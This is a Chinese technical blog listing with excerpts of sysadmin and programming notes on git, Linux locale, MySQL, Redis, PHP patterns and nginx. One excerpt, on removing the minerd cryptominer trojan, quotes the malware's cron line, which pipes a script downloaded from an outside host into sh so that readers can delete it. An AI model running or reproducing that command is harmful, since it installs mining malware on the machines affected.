- 博客(59)
- 资源 (6)
- 收藏
- 关注
原创 git在push提示错误403
错误内容:remote: Permission to aaa111/bbb111.git denied to oldAccount. fatal: unable to access 'https://github.com/aaa111/bbb111.git/': The requested URL returned error: 403错误原因: 以前一直是使用oldAccount账号push代
2017-09-27 11:00:22
6759
3
原创 Linux出现中文乱码
解决方法:export LANG=en_US.UTF-8修改当前的语言前提是目前的系统必须支持中文locale -a | grep 'en_US'
2017-03-10 14:26:45
553
原创 Linux负载LoadAverage
笔记: 今早在公众号上看到一遍关于linux系统负载的文章《一分钟理解负载LoadAverage 》,写得形象易懂,将其总结如下:1. 什么是Load Average?系统负载(System Load)是系统CPU繁忙程度的度量,即有多少进程在等待被CPU调度(进程等待队列的长度)。 平均负载(Load Average)是一段时间内系统的平均负载,这个一段时间一般取1分钟、5分钟、15分钟。2.
2017-02-21 11:48:59
850
原创 mysql的参数wait_timeout
wait_timeout:mysql服务器关闭非交互连接之前等待活动的秒数。wait_timeout过大有弊端,MySQL里大量的SLEEP进程无法及时释放,拖累系统性能; 设置过小,可能会遇到“MySQL has gone away”之类的报错,如: 当php出现报错“PHP Error[2]: PDOStatement::execute(): MySQL server has gone aw
2017-02-17 16:06:34
3372
原创 设置linux编码
#查看当前的编码[root@localhost ~]#localeLANG=c...[root@localhost ~]echo $LANGc#修改linux编码[root@localhost ~]export LANG="en_US.UTF-8"再打开包含中文的文本,就可以正常显示了(终端的编码已修改为utf8)
2017-02-09 21:50:03
2217
转载 mysql的show processlist命令大作用
mysql的show processlist命令大作用1.当连接数据库时,报错“too many connections”,就可使用此命令查看有哪些线程正在执行2.主要列解释 - command 列,显示当前连接的执行的命令,一般就是休眠( sleep ),查询( query ),连接( connect ) - time: 执行时间,单位秒 - state: 当前连接的sql语句的状态,很重要
2017-02-06 09:45:03
12811
转载 X-Forwarded-For的一些理解
转载:http://www.jianshu.com/p/792048d08ebc?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.ioX-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址(其实这个真实未必是真实的,后面会说到)。那为什么 Web 服务器只有通过 X-Fo
2017-02-06 09:39:17
2046
原创 VMware Workstations与Windows共享文件夹
VMware Workstations与Windows共享文件夹1.windows开启共享文件夹 单击右键->属性->共享2.VMware开启共享3.挂载文件夹mount -t cifs -o username="mengjuan",password="mengjuan",rw,dir_mode=0777,file_mode=0777,uid=www,gid=www //192.168.0.8/w
2017-01-12 06:58:43
2369
原创 进程与线程的区别(概念理解)
进程 进程是表示资源分配的基本单位,又是调度运行的基本单位。 例如,用户运行自己的程序,系统就创建一个进程,并为它分配资源,包括各种表格、内存空间、磁盘空间、I/O设备等。然后,把该进程放人进程的就绪队列。进程调度程序选中它,为它分配CPU以及其它有关资源,该进程才真正运行。所以,进程是系统中的并发执行的单位。线程 线程是进程的一个实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行
2017-01-12 06:57:50
341
原创 compose的secure-http属性怎么全局设置成false
方法很简单1、composer config -l -g | grep 'home'2、找到[home],这里的路径就是主目录所在的路径3、vim config.json文件4、加入如下文字{ "config": { "secure-http":false }}
2017-01-12 06:56:30
2166
原创 Linux执行.sh文件时提示No such file or directory
在网上查看了下,原来是脚本的编码问题 由于我是在windows下使用虚拟机VMWare的linux环境,在vim时默认是dos格式,这样在换行时linux无法识别 解决方法: 在vim下修改编码格式 :set ff 查看当前编码格式 :set ff=unix 修改当前编码格式为unix显示: fileformat=unix
2016-12-05 10:52:11
1127
原创 Linux清除木马minerd
minerd是什么今天突然发现cup使用率一直都很高,高达100%,查看后发现多了minerd这个进程,将其kill掉后,过一会还是存在 步骤: 1.删除定时任务的内容 crontab -e 将“/10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh”删除 2.删除minerd文件[root@iZ28rvl9qn3Z ~]
2016-08-02 15:28:36
10163
原创 centOS 开机自启动配置
centOS 配置开机自启动两种方式: 1.vi /etc/rc.d/rc.local 在此文件中加入启动的脚本 2.chkconfig 增加脚本 chkconfig –add 脚本名称: 增加开机自动启动脚本 –list 查看开机自动启动的脚本 –del 取消开机自动启动脚本步骤: 1.自己定义脚本格式如下: 必须添加的 #!/bin/sh #chkconfig: 2
2016-08-02 13:02:24
682
原创 VMware workstation与Windows主机建立文件共享
虚拟机与Windows主机建立文件共享,即:将windosw的共享文件给到虚拟机的Linux挂载,Linux的目录其实是指向windows的共享文件步骤: 1.windows下创建好需要共享的文件夹,并将其共享 2.Linux下执行命令mount -t cifs -o username="windows的用户名",password="windows用户对应的密码",rw,dir_mode=077
2016-07-26 16:16:05
555
原创 Redis设置键的生存时间或过期时间
通过expire或pexpire命令,客户端可以以秒或毫秒的精度为数据库中的某个键设置生存时间。与expire和pexpire命令类似,客户端可以通过expireat和pexpireat命令,以秒或毫秒精度给数据库中的某个键设置过期时间,可以理解为:让某个键在某个时间点过期。虽然时间单位或形式不同,但实际上expire、pexpire、expireat这3个命令,都是应用pexpireat命令来实现
2016-06-24 18:24:38
10046
原创 PHP设计模式:装饰模式
装饰模式:动态的给一个对象添加一些额外的职责,就增加功能来说,装饰模式比生成子类更为灵活 装饰者模式动态地将责任附加到对象上。若要扩展功能,装饰者提供了比继承更有弹性的替代方案。 装饰模式是为已有功能动态的添加更多功能的一种方式。当系统需要新功能时,向旧的类中添加新的代码。这些新加的代码通常装饰了原有类的核心职责或主要行为。<?php//Component是定义一个对象接口,可
2016-06-24 11:00:32
267
原创 PHP设计模式:策略模式
策略模式:它定义了算法族,分别封装起来,让它们之间可以互相替换,此模式让算法的变化,不会影响到使用算法的客户。适用场景: 1. 多个类只区别在于表现行为不同,可以使用strategy(策略)模式,在操作时动态选择具体要执行的行为(算法、策略); 2. 需要在不同情况下使用不同的策略(算法),或者策略还可能在未来用其它方式来实现; 3. 对客户隐藏具体策略(算法)的实现细节,彼此完全独立
2016-06-23 18:09:25
293
原创 php设计模式:简单工程模式
简单工厂模式是类的创建模式,又叫做静态工厂方法(Static Factory Method)模式。简单工厂模式是由一个工厂类根据传入的参量决定创建出哪一种产品类的实例。<?php/* * 子类 */class Dog { public function __construct() { echo 'dog'; }}class Cat { public
2016-06-23 16:39:53
599
原创 PHP单元测试phpunit
https://phpunit.de/ 官方文档下载: https://phpunit.de/manual/current/zh_cn/phpunit-book.pdf安装方法wget https://phar.phpunit.de/phpunit.pharchmod +x phpunit.pharmv phpunit.phar /usr/local/bin/phpunitphpunit
2016-06-23 14:47:59
387
原创 层次式性能分析器XHProf
php官方文档 http://php.net/manual/zh/book.xhprof.php xhprof为facebook开发的php性能分析工具,一个轻量级的分层性能测量分析器。 在数据收集阶段,它跟踪调用次数与测量数据,展示程序动态调用的弧线图。 它在报告、后期处理阶段计算了独占的性能度量,例如运行经过的时间、CPU 计算时间和内存开销。 1.安装wget http://pecl.p
2016-06-22 23:21:12
600
原创 Linux下SVN安装与配置
1.安装SVN yum install svn2.创建仓库 svnadmin create /var/svn svnadmin create svn路径3.修改配置 3.1配置权限vim /var/svn/conf/authz.conf此配置文件采用“基于路径的授权”策略,中括号里指定路径,以下列出对各用户的授权。包括只读r,读写rw。没有列出的用户,则不允许访问。还可以对用户分组,具体请参
2016-04-25 23:18:33
337
原创 正则表达式去除html标签
正确使用正则表达式过滤字符串,讲给工作带来很大的方便。以下是以JS标签为例$script = '<script type="text/javascript">alert("ase");</script>';echo '去除所有js代码' . preg_replace("/<script[^>]*?>.*?<\/script>/", "", $script);echo '<br/>将script标
2016-04-21 10:15:58
364
原创 Linux下php7安装命令记录
wget http://cn2.php.net/distributions/php-7.0.5.tar.gztar -zxvf php-7.0.5.tar.gzcd php-7.0.5./configure –prefix=/usr/local/php –with-curl –with-freetype-dir –with-gd –with-gettext –with-ico
2016-04-16 21:49:53
1621
转载 Chrome离线安装Postman
由于国内无法连接到Chrome的应用商城,只能选择离线安装,或者选择vpn服务器。现在我们来记录下离线安装的方法。1.首先下载 Postman离线包 http://pan.baidu.com/s/1eSolBEi2.再按以下流程走即可解压Postman.rarPostman-REST-Client_v0.8.1.crx 把后缀从crx改为rar并解压进入Chrome的地址栏最右边,更多工具选择扩展...
2016-04-16 21:40:09
9599
原创 Redis笔记
1.expire 和 pexpire expire 设置过期时间为ttl秒 pexpire 设置过期时间为ttl毫秒2.expireat 和 pexpireat expireat 过期时间设置为timestamp所指定的秒数时间戳 pexpireat 过期时间设置为timestamp所指定的毫秒数时间戳3.ttl 和 pttl 查看剩余生存时间(秒 / 毫秒)4.persis
2016-04-11 22:37:36
357
原创 MySQL的varchar(255)可以保持多少个汉字
在字符集为UTF-8的情况下:MySQL | ver < 4.1: VARCHAR以字节为单位存储,所以假设全部为常用汉字(UTF-8 3字节编码长度),则VARCHAR(255)共可存放约85个汉字;MySQL | ver >= 4.1: VARCHAR以字符为单位存储,假设输入仍然为常用汉字,则VARCHAR(255)可以存放255个汉字。
2016-03-16 14:22:27
36698
原创 学习shell编程笔记(二)
Shell特殊变量 变量 含义 $0 当前脚本的文件名 $n 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是$1,第二个参数是$2。 $# 传递给脚本或函数的参数个数。 $* 传递给脚本或函数的所有参数。 $@ 传递给脚本或函数的所有参数。被双引号(” “)包含时,与 $* 稍有不同,下面将会讲到。 $? 上个命令的退
2016-01-11 23:19:49
332
原创 学习shell编程笔记(一)
Shell有两种执行命令的方式: 交互式(Interactive):解释执行用户的命令,用户输入一条命令,Shell就解释执行一条。 批处理(Batch):用户事先写一个Shell脚本(Script),其中有很多条命令,让Shell一次把这些命令执行完,而不必一条一条地敲命令。Shell脚本是解释执行的,不需要编译,Shell程序从脚本中一行一行读取并执行这些命令考虑到Shell脚本的命令限
2016-01-11 22:25:23
284
转载 PHP校验身份证号
校验身份证号码一个很好的类,值得收藏!<?php/** * 校验身份证 * * @author MJ */class ValidIDCard { //验证身份证是否有效 public function validateIDCard($IDCard) { if (strlen($IDCard) == 18) { return $this
2015-12-28 09:46:09
722
转载 Fiddler显示IP的设置方法
前言由于web前端在多个环境中开发,需要经常更换host,而设置host之后会出现延迟的情况,怎么知道现在访问的域名时指向哪个服务器IP的呢?下面介绍通过对抓包工具Fiddler的设置,让请求显示服务器IP信息,方法很简单。操作快捷键Ctrl+R 或者 菜单->Rules->Customize Rules… 在CustomRules.js文件里Ctrl+F查
2015-12-14 18:51:41
330
转载 php配置php-fpm启动参数及配置详解
php-fpm 启动参数及重要配置详解,这个不用多说,做PHP开发的同学都需要用。约定几个目录/usr/local/php/sbin/php-fpm/usr/local/php/etc/php-fpm.conf/usr/local/php/etc/php.ini一,php-fpm的启动参数复制代码 代码如下:#测试php-fpm配置/
2015-12-09 09:42:24
311
原创 Linux安装php报错记录
1.报错: virtual memory exhausted: Cannot allocate memory make: * [ext/fileinfo/libmagic/apprentice.lo] Error 1 解决方法: Adding –disable-fileinfo to ./configure solves the problem.2.报错: collect2: ld ret
2015-12-09 09:36:20
344
转载 Wireshare常用过滤规则
1.过滤源ip、目的ip。在wireshark的过滤规则框Filter中输入过滤条件。如查找目的地址为192.168.101.8的包,ip.dst==192.168.101.8;查找源地址为ip.src==1.1.1.1;端口过滤。如过滤80端口,在Filter中输入,tcp.port==80,这条规则是把源端口和目的端口为80的都过滤出来。使用tcp.dstport==80只过滤目的端口为80的,
2015-12-09 09:35:36
1447
原创 nginx启动mime.types报错
报错提示:[root@iZ28rvl9qn3Z nginx]# nginx -t -c /etc/nginx1.8.0.conf nginx: [emerg] unexpected end of file, expecting ";" or "}" in /etc/mime.types:1300nginx: configuration file /etc/nginx1.8.0.conf
2015-12-07 17:08:40
6998
1
转载 Linux Socket编程(不限Linux)
转载:http://www.cnblogs.com/skynet/archive/2010/12/12/1903949.html“一切皆Socket!”话虽些许夸张,但是事实也是,现在的网络编程几乎都是用的socket。——有感于实际编程和开源项目研究。我们深谙信息交流的价值,那网络中进程之间如何通信,如我们每天打开浏览器浏览网页时,浏览器的进程怎么与w
2015-12-07 10:38:34
348
原创 Mac下make时报错malloc.h: No such file or directory的解决方法
下载了一个linux环境下的开源工具,结果在mac的gcc环境中编译的时候,报错 error: malloc.h: No such file or directory解决方法:将报错文件中#include 修改为#include
2015-11-15 21:20:35
11317
1
原创 Innodb参数innodb_flush_log_at_trx_commit详解
首先我们继续上回的分析。当时那么InnoDB那么慢,原来是’innodb_flush_log_at_trx_commit’设置成1.mysql> SHOW VARIABLES LIKE 'innodb_flush_log_at_trx_commit';+--------------------------------+-------+| Variable_name
2015-10-29 11:48:23
16586
3
原创 MySQL的MyISAM与INNODB对比
我有两张数据结果完全一样的表,但引擎不相同,一个是InnoDB,一个是MyISAM表结果如下:CREATE TABLE `innodb_test` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `name` varchar(128) DEFAULT '', `age` tinyint(3) unsigned DEFAUL
2015-10-28 15:34:10
493
转载 linux的netstat命令详解
简介Netstat 命令用于显示各种网络相关信息,如网络连接,路由表,接口状态 (Interface Statistics),masquerade 连接,多播成员 (Multicast Memberships) 等等。输出信息含义执行netstat后,其输出结果为Active Internet connections (w/o servers)Proto Recv-Q S
2015-10-27 00:01:07
258
LoadRunner11中文教程
2015-07-07
mysql-connector-java-5.0.4-bin
2011-03-31
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人